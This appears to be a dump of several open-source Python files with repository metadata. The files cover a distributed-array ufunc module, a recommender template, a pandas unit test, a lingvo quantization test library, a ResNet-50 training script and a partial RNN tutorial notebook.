implemented.\n        \"\"\"\n        return NotImplemented\n\n    def execute(self):\n        \"\"\"\n        Perform the ufunc operation. Call is forwarded to one\n        of: :meth:`execute___call__`, :meth:`execute_accumulate`, :meth:`execute_at`\n        , :meth:`execute_outer`, :meth:`execute_reduce` or :meth:`execute_reduceat`.\n        \"\"\"\n        return getattr(self, \"execute_\" + self.method)()\n\n\n#: Factory for generating instance of :obj:`GndarrayArrayUfuncExecutor`.\ngndarray_ufunc_executor_factory = GndarrayArrayUfuncExecutor\n\n\ndef gndarray_array_ufunc(array_like_obj, ufunc, method, *inputs, **kwargs):\n    \"\"\"\n    The implementation for  :meth:`mpi_array.globale.gndarray.__array_ufunc__`.\n    \"\"\"\n    ufunc_executor = \\\n        gndarray_ufunc_executor_factory(\n            array_like_obj,\n            ufunc,\n            method,\n            *inputs,\n            **kwargs\n        )\n\n    return ufunc_executor.execute()\n\n\ndef set_numpy_ufuncs_as_module_attr(set_attr_module, search_module):\n    \"\"\"\n    Finds all :obj:`numpy.ufunc` attributes in the :samp:`{search_module}` :obj:`module`\n    and sets corresponding attributes of :samp:`{set_attr_module}` :obj:`module`.\n\n    :type set_attr_module: :obj:`module`\n    :param set_attr_module: Set ufunc attributes of this module to those found\n       in the :samp:`{search_module}` module\n    :type search_module: :obj:`module`\n    :param search_module: Find :obj:`numpy.ufunc` attributes in this module.\n\n    \"\"\"\n    for attr in dir(search_module):\n        numpy_attr_value = getattr(search_module, attr)\n        if isinstance(numpy_attr_value, _np.ufunc):\n            setattr(set_attr_module, attr, numpy_attr_value)\n\n\nset_numpy_ufuncs_as_module_attr(_sys.modules[__name__], _np)\n\n__all__ = [s for s in dir() if not s.startswith('_')]\n", "meta": {"hexsha": "53e55c9dc64384521b51ed528505516f71d0f2c6", "size": 39928, "ext": "py", "lang": "Python", "max_stars_repo_path": "mpi_array/globale_ufunc.py", "max_stars_repo_name": "mpi-array/mpi_array", "max_stars_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2018-06-05T14:05:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-08T14:16:33.000Z", "max_issues_repo_path": "mpi_array/globale_ufunc.py", "max_issues_repo_name": "mpi-array/mpi_array", "max_issues_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mpi_array/globale_ufunc.py", "max_forks_repo_name": "mpi-array/mpi_array", "max_forks_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2018-01-01T17:52:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-08T15:48:29.000Z", "avg_line_length": 37.3507951356, "max_line_length": 100, "alphanum_fraction": 0.5735323582, "include": true, "reason": "import numpy", "num_tokens": 9391, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.1602660323277607, "lm_q1q2_score": 0.07513121372183278}}
{"text": "import numpy as np\nimport pandas as pd\nimport sys # can use sys to take command line arguments\n\nclass Recommender():\n    '''\n    What is this class all about - write a really good doc string here\n    '''\n    def __init__(self, ):\n        '''\n        what do we need to start out our recommender system\n        '''\n\n\n\n    def fit(self, ):\n        '''\n        fit the recommender to your dataset and also have this save the results\n        to pull from when you need to make predictions\n        '''\n\n    def predict_rating(self, ):\n        '''\n        makes predictions of a rating for a user on a movie-user combo\n        '''\n\n    def make_recs(self,):\n        '''\n        given a user id or a movie that an individual likes\n        make recommendations\n        '''\n\n\nif __name__ == '__main__':\n    # test different parts to make sure it works\n", "meta": {"hexsha": "7913e03f962ba101bb7e073af8bd87743d45fe72", "size": 843, "ext": "py", "lang": "Python", "max_stars_repo_path": "lessons/Recommendations/2_Matrix_Factorization_for_Recommendations/recommender_template.py", "max_stars_repo_name": "Vishalghyv/DSND_Term2", "max_stars_repo_head_hexsha": "1ed2bd00f9ac7d555bba5b69cccf242ed02e5ef3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1030, "max_stars_repo_stars_event_min_datetime": "2018-07-03T19:09:50.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T05:48:57.000Z", "max_issues_repo_path": "lessons/Recommendations/2_Matrix_Factorization_for_Recommendations/recommender_template.py", "max_issues_repo_name": "Vishalghyv/DSND_Term2", "max_issues_repo_head_hexsha": "1ed2bd00f9ac7d555bba5b69cccf242ed02e5ef3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 21, "max_issues_repo_issues_event_min_datetime": "2018-09-20T14:36:04.000Z", "max_issues_repo_issues_event_max_datetime": "2021-10-11T18:25:31.000Z", "max_forks_repo_path": "lessons/Recommendations/2_Matrix_Factorization_for_Recommendations/recommender_template.py", "max_forks_repo_name": "Vishalghyv/DSND_Term2", "max_forks_repo_head_hexsha": "1ed2bd00f9ac7d555bba5b69cccf242ed02e5ef3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1736, "max_forks_repo_forks_event_min_datetime": "2018-06-27T19:33:46.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T17:52:33.000Z", "avg_line_length": 23.4166666667, "max_line_length": 79, "alphanum_fraction": 0.6014234875, "include": true, "reason": "import numpy", "num_tokens": 184, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1520322397011398, "lm_q1q2_score": 0.07482846462796112}}
{"text": "import pandas as pd\r\nimport numpy as np\r\nimport unittest\r\n\r\nclass Mytest(unittest.TestCase):\r\n    '''\r\n    Checks scalar or array if there is anything missing in it\r\n    '''\r\n    def setUp(self):\r\n        self.str='Hira'\r\n        self.testNone=None\r\n        self.testNan=' '\r\n        self.testarray=[1,2,3]\r\n        self.test1=[6,'h',None]\r\n\r\n    def test_notnull(self):\r\n        self.assertEqual(pd.notna(self.str),True)\r\n        self.assertEqual(pd.notna(self.testNone),False)\r\n        self.assertEqual(pd.notna(self.testNan),True)\r\n        self.assertEqual(pd.notna(self.testarray[2]), True)\r\n        self.assertEqual(pd.notna(self.testarray).all(),(True))\r\n        self.assertEqual(pd.notna(self.test1).all(), (False))\r\n\r\nif __name__  == '__main__':\r\n    unittest.main()\r\n", "meta": {"hexsha": "3ed8d0c6d80e873b8e62bfc1aa4ee20d78713d9d", "size": 776, "ext": "py", "lang": "Python", "max_stars_repo_path": "Test_notna.py", "max_stars_repo_name": "soothingjennyg/pandasTestingProject", "max_stars_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Test_notna.py", "max_issues_repo_name": "soothingjennyg/pandasTestingProject", "max_issues_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Test_notna.py", "max_forks_repo_name": "soothingjennyg/pandasTestingProject", "max_forks_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-08T20:59:09.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-08T20:59:09.000Z", "avg_line_length": 29.8461538462, "max_line_length": 64, "alphanum_fraction": 0.6172680412, "include": true, "reason": "import numpy", "num_tokens": 183, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204329, "lm_q2_score": 0.1581743547325992, "lm_q1q2_score": 0.07476640390719862}}
{"text": "# Lint as: python3\n# Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Tests lib for quant_utils test.\"\"\"\n\n# pylint: disable=bad-whitespace\n# pylint: disable=bad-continuation\n\n\nimport lingvo.compat as tf\nfrom lingvo.core import py_utils\nfrom lingvo.core import quant_utils\nfrom lingvo.core import test_utils\nimport numpy as np\n\n\nclass SampleQuantizedProjectionLayer(quant_utils.QuantizableLayer):\n  \"\"\"Simple projection layer to demonstrate quantization.\"\"\"\n\n  @classmethod\n  def Params(cls):\n    p = super().Params()\n    p.Define('input_dim', 2, 'Depth of the input.')\n    p.Define('output_dim', 3, 'Depth of the output.')\n    return p\n\n  def __init__(self, params):\n    super().__init__(params)\n    p = self.params\n    self.CreateAqtWeight(\n        'aqt_w', shape=[p.input_dim, p.output_dim], feature_axis=-1)\n\n  def _CreateLayerVariables(self):\n    super()._CreateLayerVariables()\n    p = self.params\n\n    w_pc = py_utils.WeightParams(\n        shape=[p.input_dim, p.output_dim],\n        init=p.params_init,\n        dtype=p.dtype,\n        collections=[self.__class__.__name__ + '_vars'])\n    self.CreateVariable('w', w_pc)\n\n    self.TrackQTensor('inputs', 'transformed')\n\n  def FProp(self, theta, inputs, paddings):\n    p = self.params\n    fns = self.fns\n\n    # It is the most important that weights and top-level activations\n    # be tagged for quantization:\n    #   - Weights use the self.QWeight() decorator\n    #   - Inputs/activations are decorated with self.QTensor(). In general,\n    #     the provided name should match a call to self.TrackQTensor in the\n    #     constructor. This creates an tensor that is individually accounted\n    #     for.\n    w = fns.qweight(theta.w)\n\n    # TODO(shivaniagrawal): change this to ToAqtWeight and FromAqtWeight.\n    w = self.ToAqtWeight(\n        'aqt_w', w, feature_axis=-1, expected_scale_shape=(1, p.output_dim))\n\n    inputs = self.QTensor('inputs', inputs)\n\n    # Note the use of the qmatmul from the function library. This will\n    # automatically track the output against the qtensor 'transformed'.\n    out = fns.qmatmul(\n        tf.reshape(inputs, [-1, p.input_dim]), w, qt='transformed')\n    out = self.FromAqtWeight('aqt_w', out, feature_axis=-1)\n\n    out = tf.reshape(out, tf.concat([tf.shape(inputs)[:-1], [p.output_dim]], 0))\n\n    # Decorate outputs of simple activation functions with their corresponding\n    # range decorator. This will ensure that the result does not exceed the\n    # precision of the underlying representation.\n    out = fns.qtanh(out)\n\n    # Perform padding manipulation via booleans instead of:\n    #   out *= 1.0 - paddings\n    # Because the paddings can exist in entirely different numeric ranges than\n    # the tensor they are being applied to, it is best to not perform\n    # arithmetic directly between them. Instead, broadcast them to the needed\n    # size (if different) and perform an exact mask with tf.where.\n    # For added numeric range protection, the QRPadding decorator ensures\n    # the correct range. This is mostly needed for cases where padding is\n    # dynamic at inference time.\n    paddings = self.QRPadding(paddings)\n    paddings *= tf.ones_like(out)  # Broadcast to 'out' size.\n    out = tf.where(paddings > 0.0, tf.zeros_like(out), out)\n\n    return out\n\n\nclass QuantUtilsBaseTest(test_utils.TestCase):\n  \"\"\"Base test class for testing quantizable layer.\"\"\"\n\n  # pyformat: disable\n  NO_QDOMAIN_EXPECTED = [\n   [[ 0.00071405, -0.03868543, -0.01999986, -0.00994987],\n    [ 0.08905827,  0.13636404, -0.03180931,  0.06056439],\n    [ 0.        ,  0.        ,  0.        ,  0.        ],\n    [-0.0208858 , -0.17595209, -0.05192588,  0.02618068]],\n   [[ 0.        ,  0.        ,  0.        ,  0.        ],\n    [ 0.        ,  0.        ,  0.        ,  0.        ],\n    [-0.02125708, -0.10454545, -0.01147466,  0.06903321],\n    [ 0.0276652 , -0.14823943, -0.09726462,  0.01415125]]]\n  # pyformat: enable\n\n  def _testLayerHelper(self,\n                       test_case,\n                       p,\n                       expected=None,\n                       not_expected=None,\n                       global_step=-1):\n    tf.random.set_seed(398847392)\n    np.random.seed(12345)\n    p.name = 'proj'\n    p.input_dim = 3\n    p.output_dim = 4\n    p.params_init = py_utils.WeightInit.Gaussian(0.1)\n    l = p.Instantiate()\n    in_padding = tf.zeros([2, 4, 1], dtype=tf.float32)\n    in_padding = tf.constant(\n        [[[0], [0], [1], [0]], [[1], [1], [0], [0]]], dtype=tf.float32)\n    inputs = tf.constant(\n        np.random.normal(0.1, 0.5, [2, 4, 3]), dtype=tf.float32)\n    output = l.FPropDefaultTheta(inputs, in_padding)\n    self.evaluate(tf.global_variables_initializer())\n\n    if global_step >= 0:\n      self.evaluate(tf.assign(py_utils.GetOrCreateGlobalStepVar(), global_step))\n\n    output = output.eval()\n    print('QuantizableLayerTest output', test_case, ':\\n',\n          np.array_repr(output))\n    if expected is not None:\n      self.assertAllClose(output, expected)\n    if not_expected is not None:\n      self.assertNotAllClose(output, not_expected)\n    return l\n", "meta": {"hexsha": "d13034256fb78b9f446c9c77016fd4c59750d504", "size": 5701, "ext": "py", "lang": "Python", "max_stars_repo_path": "lingvo/core/quant_test_lib.py", "max_stars_repo_name": "TomekZet/lingvo", "max_stars_repo_head_hexsha": "cbceb3add8932554cb7a0aaa1a823d58fbd2b59e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-04-18T18:17:02.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-18T18:17:02.000Z", "max_issues_repo_path": "lingvo/core/quant_test_lib.py", "max_issues_repo_name": "TomekZet/lingvo", "max_issues_repo_head_hexsha": "cbceb3add8932554cb7a0aaa1a823d58fbd2b59e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lingvo/core/quant_test_lib.py", "max_forks_repo_name": "TomekZet/lingvo", "max_forks_repo_head_hexsha": "cbceb3add8932554cb7a0aaa1a823d58fbd2b59e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.2614379085, "max_line_length": 80, "alphanum_fraction": 0.648833538, "include": true, "reason": "import numpy", "num_tokens": 1514, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.15817434878009673, "lm_q1q2_score": 0.07476640109354904}}
{"text": "\"\"\"\r\nUsed to train ResNet-50\r\nAuthor: Kaihua Tang\r\n\"\"\"\r\n\r\n\r\nimport math\r\nimport time\r\nimport tensorflow as tf\r\nimport ResNet as resnet\r\nimport numpy as np\r\nimport scipy.io as scio\r\nfrom scipy import misc\r\nfrom utils import *\r\n\r\n# image size\r\nWIDTH = 224\r\nHEIGHT = 224\r\nCHANNELS = 3\r\n#\"Mini batch size\"\r\nMINI_BATCH_SIZE = 32\r\n#\"Path of Label.npy\"\r\nlabel_path = \"./label/label_1200.npy\"\r\n#\"Path of image file names\"\r\nimage_name_path = \"./label/name_1200.npy\"\r\n# image path\r\nparentPath = \"F:\\\\CACD2000_Crop\\\\\"\r\n# data Path: n * 224 * 224 * 3 numpy matrix\r\ndata_path = 'F:\\\\Dataset\\\\1200_data.npy'\r\n\r\n\r\n\r\ndef Train():\r\n    \"\"\"\r\n    HyperParameters of the Net\r\n    model_path: path of pretrained model, set None if there is no such a model.\r\n    LABELSNUM: Number of output labels\r\n    learning_rate_orig : original learning rate\r\n    NUM_EPOCHS: number of epochs\r\n    save_frequency: frequency of saving model (number of epoches)\r\n    \"\"\"\r\n    model_path =\"./model/03.npy\"\r\n    LABELSNUM = 1200\r\n    learning_rate_orig = 1e-05\r\n    NUM_EPOCHS = 1000\r\n    save_frequency = 2\r\n    \"\"\"\r\n    Classification Layer\r\n    final_layer_type: softmax or sigmoid\r\n    is_sparse: when final layer is softmax, is it sparse\r\n    \"\"\"\r\n    final_layer_type =\"softmax\"\r\n    is_sparse = True\r\n    \"\"\"\r\n    Tensorboard Setting\r\n    tensorboard_on: Turn on Tensorboard or not\r\n    TensorBoard_refresh: refresh rate (number of batches)\r\n    monitoring_rate: Print output rate\r\n    \"\"\"\r\n    tensorboard_on = False\r\n    TensorBoard_refresh = 50\r\n    monitoring_rate = 50\r\n    \r\n    #Lists that store name of image and its label\r\n    trainNameList = np.load(image_name_path)\r\n    trainLabelList = np.load(label_path)\r\n    if(data_path is None):\r\n        allImageData = load_all_image(trainNameList, HEIGHT, WIDTH, CHANNELS, parentPath)\r\n    else:\r\n        allImageData = np.load(data_path)\r\n\r\n    #num of total training image\r\n    num_train_image = trainLabelList.shape[0]\r\n\r\n    with tf.Session() as sess:\r\n        images = tf.placeholder(tf.float32, shape = [None, WIDTH, HEIGHT, CHANNELS])\r\n        if(is_sparse):\r\n            labels = tf.placeholder(tf.int64, shape = [None])\r\n        else:\r\n            labels = tf.placeholder(tf.float32, shape = [None, LABELSNUM])\r\n\r\n        # build resnet model\r\n        resnet_model = resnet.ResNet(ResNet_npy_path = model_path)\r\n        resnet_model.build(images, LABELSNUM, final_layer_type)\r\n        # number of batches per epoch\r\n        num_minibatches = int(num_train_image / MINI_BATCH_SIZE)\r\n\r\n        # cost function\r\n        learning_rate = learning_rate_orig\r\n        with tf.name_scope(\"cost\"):\r\n            if(final_layer_type == \"sigmoid\"):\r\n                print(\"Using weighted sigmoid loss\")\r\n                loss = tf.nn.weighted_cross_entropy_with_logits(logits = resnet_model.fc1, targets = labels, pos_weight = 5.0)\r\n            elif(final_layer_type == \"softmax\" and is_sparse):\r\n                print(\"Using sparse softmax loss\")\r\n                loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits = resnet_model.fc1, labels = labels)\r\n            elif(final_layer_type == \"softmax\" and (not is_sparse)):\r\n                print(\"Using softmax loss\")\r\n                loss = tf.nn.softmax_cross_entropy_with_logits(logits = resnet_model.fc1, labels = labels)\r\n            cost = tf.reduce_sum(loss)\r\n        with tf.name_scope(\"train\"):\r\n            global_steps = tf.Variable(0)\r\n            learning_rate = tf.train.exponential_decay(learning_rate_orig, global_steps, num_minibatches * 40, 0.1, staircase = True)\r\n            #train = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)\r\n            #train = tf.train.AdamOptimizer(learning_rate).minimize(cost)\r\n            train = tf.train.MomentumOptimizer(learning_rate, 0.9).minimize(cost)\r\n\r\n        sess.run(tf.global_variables_initializer())\r\n        print(resnet_model.get_var_count())\r\n\r\n        if(tensorboard_on):\r\n            merged_summary = tf.summary.merge_all()\r\n            writer = tf.summary.FileWriter(\"./TensorBoard/Result\")\r\n            writer.add_graph(sess.graph)\r\n            # used in tensorboard to count record times\r\n            summary_times = 0\r\n\r\n        for epoch in range(NUM_EPOCHS):\r\n            print(\"Start Epoch %i\" % (epoch + 1))\r\n\r\n            minibatch_cost = 0.0\r\n            # count the number of batch\r\n            batch_index = 0  \r\n            # get index for all mini batches\r\n            minibatches = random_mini_batches(num_train_image, MINI_BATCH_SIZE, random = True) \r\n\r\n            for minibatch in minibatches:\r\n                # get train examples from each mini batch\r\n                (minibatch_X, minibatch_Y) = get_minibatch(minibatch, trainLabelList, HEIGHT, WIDTH, CHANNELS, LABELSNUM, allImageData, is_sparse)\r\n\r\n                # change learning rate\r\n                sess.run(global_steps.assign(epoch * num_minibatches + batch_index))\r\n\r\n                # record examples to monitoring the training process\r\n                if((batch_index % monitoring_rate == 0)):\r\n                    resnet_model.set_is_training(False)\r\n                    fc1, prob = sess.run([resnet_model.fc1, resnet_model.prob], feed_dict={images: minibatch_X})\r\n                    countMax = np.sum(np.argmax(prob,1) == minibatch_Y)\r\n                    print(\"Epoch %i Batch %i Before Optimization Count %i\" %(epoch + 1,batch_index, countMax))\r\n \r\n                # Training and calculating cost\r\n                resnet_model.set_is_training(True)\r\n                temp_cost, _ = sess.run([cost, train], feed_dict={images: minibatch_X, labels: minibatch_Y})\r\n                minibatch_cost += np.sum(temp_cost)\r\n\r\n                # tensorboard\r\n                if(tensorboard_on) and (batch_index % tfBoard_refresh == 0):\r\n                    s = sess.run(merged_summary, feed_dict={images: minibatch_X, labels: minibatch_Y})\r\n                    writer.add_summary(s, summary_times)\r\n                    summary_times = summary_times + 1\r\n                    # record cost in tensorflow\r\n                    tf.summary.scalar('cost', temp_cost)\r\n                \r\n                # record examples to monitoring the training process\r\n                if((batch_index % monitoring_rate == 0)):\r\n                    resnet_model.set_is_training(False)\r\n                    fc1, prob = sess.run([resnet_model.fc1, resnet_model.prob], feed_dict={images: minibatch_X})\r\n                    countMax = np.sum(np.argmax(prob,1) == minibatch_Y)\r\n                    print(\"Epoch %i Batch %i After Optimization Count %i\" %(epoch + 1,batch_index, countMax))\r\n                    # Temp Cost & learning rate\r\n                    print(\"Epoch %i Batch %i Batch Cost %f Learning_rate %f\" %(epoch + 1,batch_index, np.sum(temp_cost), sess.run(learning_rate) * 1e10))\r\n\r\n                batch_index += 1\r\n\r\n\r\n            # print total cost of this epoch\r\n            print(\"End Epoch %i\" % (epoch + 1))\r\n            print(\"Total cost of Epoch %f\" % minibatch_cost)\r\n\r\n            # save model\r\n            if((epoch + 1) % save_frequency == 0):\r\n                resnet_model.save_npy(sess, './model/temp-model%i.npy' % (epoch + 1))\r\n\r\nif __name__ == '__main__':\r\n    Train()\r\n", "meta": {"hexsha": "0ee4e658bdd1ad556c4a986ab1ba61414b9f2d47", "size": 7214, "ext": "py", "lang": "Python", "max_stars_repo_path": "TrainResNet.py", "max_stars_repo_name": "KaihuaTang/Cross-Age-Face-Recognition-Using-ResNet50", "max_stars_repo_head_hexsha": "a5f8083c420fec14aa3f44b9e03035429d852647", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 51, "max_stars_repo_stars_event_min_datetime": "2018-03-20T03:16:14.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-11T01:38:04.000Z", "max_issues_repo_path": "TrainResNet.py", "max_issues_repo_name": "KaihuaTang/Cross-Age-Face-Recognition-Using-ResNet50", "max_issues_repo_head_hexsha": "a5f8083c420fec14aa3f44b9e03035429d852647", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2019-01-11T00:58:07.000Z", "max_issues_repo_issues_event_max_datetime": "2019-02-16T12:26:58.000Z", "max_forks_repo_path": "TrainResNet.py", "max_forks_repo_name": "KaihuaTang/Cross-Age-Face-Recognition-Using-ResNet50", "max_forks_repo_head_hexsha": "a5f8083c420fec14aa3f44b9e03035429d852647", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 29, "max_forks_repo_forks_event_min_datetime": "2018-03-31T12:48:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-01T06:25:09.000Z", "avg_line_length": 40.9886363636, "max_line_length": 154, "alphanum_fraction": 0.6103410036, "include": true, "reason": "import numpy,import scipy,from scipy", "num_tokens": 1633, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041652, "lm_q2_score": 0.14608724518943894, "lm_q1q2_score": 0.07475526909892459}}
{"text": "\n# coding: utf-8\n\n# *Python Machine Learning 2nd Edition* by [Sebastian Raschka](https://sebastianraschka.com) and Vahid Mirjalili, Packt Publishing Ltd. 2017\n# \n# Code Repository: https://github.com/rasbt/python-machine-learning-book-2nd-edition\n# \n# Code License: [MIT License](https://github.com/rasbt/python-machine-learning-book-2nd-edition/blob/master/LICENSE.txt)\n\n# # Python Machine Learning - Code Examples\n\n# # Chapter 16 - Modeling Sequential Data Using Recurrent Neural Networks\n# \n# \n\n# Note that the optional watermark extension is a small IPython notebook plugin that is being used to make the code reproducible. You can just skip the following line(s).\n\n# In[1]:\n\n\n\n\n# *The use of `watermark` is optional. You can install this IPython extension via \"`pip install watermark`\". For more information, please see: https://github.com/rasbt/watermark.*\n\n# - [Introducing sequential data](#Introducing-sequential-data)\n#   - [Modeling sequential data: Order matters](#Modeling-sequential-data:-Order-matters)\n#   - [Understanding the different categories of sequence modeling](#Understanding-the-different-categories-of-sequence-modeling)\n# - [Recurrent neural networks for modeling sequences](#Recurrent-neural-networks-for-modeling-sequences)\n#   - [Understanding the structure and flow of a recurrent neural network \n# ](#Understanding-the-structure-and-flow-of-a-recurrent-neural-network)\n#   - [Computing activations in an RNN](#Computing-activations-in-an-RNN)\n#   - [The challenges of learning long-range interactions](#The-challenges-of-learning-long-range-interactions)\n#   - [Long short-term memory units](#Long-short-term-memory-units)\n# - [Implementing a multilayer RNN for sequence modeling in TensorFlow](#Implementing-a-multilayer-RNN-for-sequence-modeling-in-TensorFlow)\n#   - [Performing sentiment analysis of IMDb movie reviews using multilayer RNNs](#Performing-sentiment-analysis-of-IMDb-movie-reviews-using-multilayer-RNNs)\n#     - [Preparing the data](#Preparing-the-data)\n#     - [Embedding](#Embedding)\n#     - [Building the RNN model](#Building-the-RNN-model)\n#       - [Step 1: Defining multilayer RNN cells](#Step-1:-Defining-multilayer-RNN-cells)\n#       - [Step 2: Defining the initial states for the RNN cells](#Step-2:-Defining-the-initial-states-for-the-RNN-cells)\n#       - [Step 3: Creating the recurrent neural network using the RNN cells and their states](#Step-3:-Creating-the-recurrent-neural-network-using-the-RNN-cells-and-their-states)\n#   - [Example application: character-level language modeling](#Example-application:-character-level-language-modeling)\n#     - [Preparing the data](#Preparing-the-data)\n#     - [Building the character-level RNN model](#Building-the-character-level-RNN-model)\n# - [Summary](#Summary)\n\n# In[2]:\n\n\nfrom IPython.display import Image\n\n\n# In[ ]:\n\n\nimport gzip\n\n\nwith gzip.open('movie_data.csv.gz') as f_in, open('movie_data.csv', 'wb') as f_out:\n    f_out.writelines(f_in)\n\n\n# # Introducing sequential data \n\n# ## Modeling sequential data: Order matters\n\n# ## Representing sequences\n\n# In[3]:\n\n\n\n\n# ## Understanding the different categories of sequence modeling\n\n# In[4]:\n\n\n\n\n# # Recurrent neural networks for modeling sequences\n\n# ## Understanding the structure and flow of a recurrent neural network \n\n# In[5]:\n\n\n\n\n# In[6]:\n\n\n\n\n# ## Computing activations in an RNN\n\n# In[7]:\n\n\n\n\n# In[8]:\n\n\n\n\n# ## The challenges of learning long-range interactions\n\n# In[9]:\n\n\n\n\n# ## Long short-term memory units\n\n# In[10]:\n\n\n\n\n# # Implementing a multilayer RNN for sequence modeling in TensorFlow\n\n# ## Performing sentiment analysis of IMDb movie reviews using multilayer RNNs\n\n# ### Preparing the data\n\n# In[11]:\n\n\n\n\n# In[1]:\n\n\nimport pyprind\nimport pandas as pd\nfrom string import punctuation\nimport re\nimport numpy as np\n\n\ndf = pd.read_csv('movie_data.csv', encoding='utf-8')\nprint(df.head(3))\n\n\n# In[ ]:\n\n\n## @Readers: PLEASE IGNORE THIS CELL\n##\n## This cell is meant to shrink the\n## dataset when this notebook is run \n## on the Travis Continuous Integration\n## platform to test the code as well as\n## speeding up the run using a smaller\n## dataset for debugging\n\nimport os\n\n\nif 'TRAVIS' in os.environ:\n    df = pd.read_csv('movie_data.csv', encoding='utf-8', nrows=500)\n\n\n# In[2]:\n\n\n## Preprocessing the data:\n## Separate words and \n## count each word's occurrence\n\n\nfrom collections import Counter\n\n\ncounts = Counter()\npbar = pyprind.ProgBar(len(df['review']),\n                       title='Counting words occurences')\nfor i,review in enumerate(df['review']):\n    text = ''.join([c if c not in punctuation else ' '+c+' '                     for c in review]).lower()\n    df.loc[i,'review'] = text\n    pbar.update()\n    counts.update(text.split())\n\n\n# In[3]:\n\n\n## Create a mapping:\n## Map each unique word to an integer\n\nword_counts = sorted(counts, key=counts.get, reverse=True)\nprint(word_counts[:5])\nword_to_int = {word: ii for ii, word in enumerate(word_counts, 1)}\n\n\nmapped_reviews = []\npbar = pyprind.ProgBar(len(df['review']),\n                       title='Map reviews to ints')\nfor review in df['review']:\n    mapped_reviews.append([word_to_int[word] for word in review.split()])\n    pbar.update()\n\n\n# In[4]:\n\n\n## Define fixed-length sequences:\n## Use the last 200 elements of each sequence\n## if sequence length < 200: left-pad with zeros\n\nsequence_length = 200  ## sequence length (or T in our formulas)\nsequences = np.zeros((len(mapped_reviews), sequence_length), dtype=int)\nfor i, row in enumerate(mapped_reviews):\n    review_arr = np.array(row)\n    sequences[i, -len(row):] = review_arr[-sequence_length:]\n\nX_train = sequences[:25000, :]\ny_train = df.loc[:25000, 'sentiment'].values\nX_test = sequences[25000:, :]\ny_test = df.loc[25000:, 'sentiment'].values\n\n\nnp.random.seed(123) # for reproducibility\n\n## Function to generate minibatches:\ndef create_batch_generator(x, y=None, batch_size=64):\n    n_batches = len(x)//batch_size\n    x= x[:n_batches*batch_size]\n    if y is not None:\n        y = y[:n_batches*batch_size]\n    for ii in range(0, len(x), batch_size):\n        if y is not None:\n            yield x[ii:ii+batch_size], y[ii:ii+batch_size]\n        else:\n            yield x[ii:ii+batch_size]\n\n\n# In[ ]:\n\n\n## @Readers: PLEASE IGNORE THIS CELL\n##\n## This cell is meant to shrink the\n## dataset when this notebook is run \n## on the Travis Continuous Integration\n## platform to test the code as well as\n## speeding up the run using a smaller\n## dataset for debugging\n\nif 'TRAVIS' in os.environ:\n    X_train = sequences[:250, :]\n    y_train = df.loc[:250, 'sentiment'].values\n    X_test = sequences[250:500, :]\n    y_test = df.loc[250:500, 'sentiment'].values\n\n\n# ### Embedding\n\n# In[12]:\n\n\n\n\n# ### Building the RNN model\n\n# 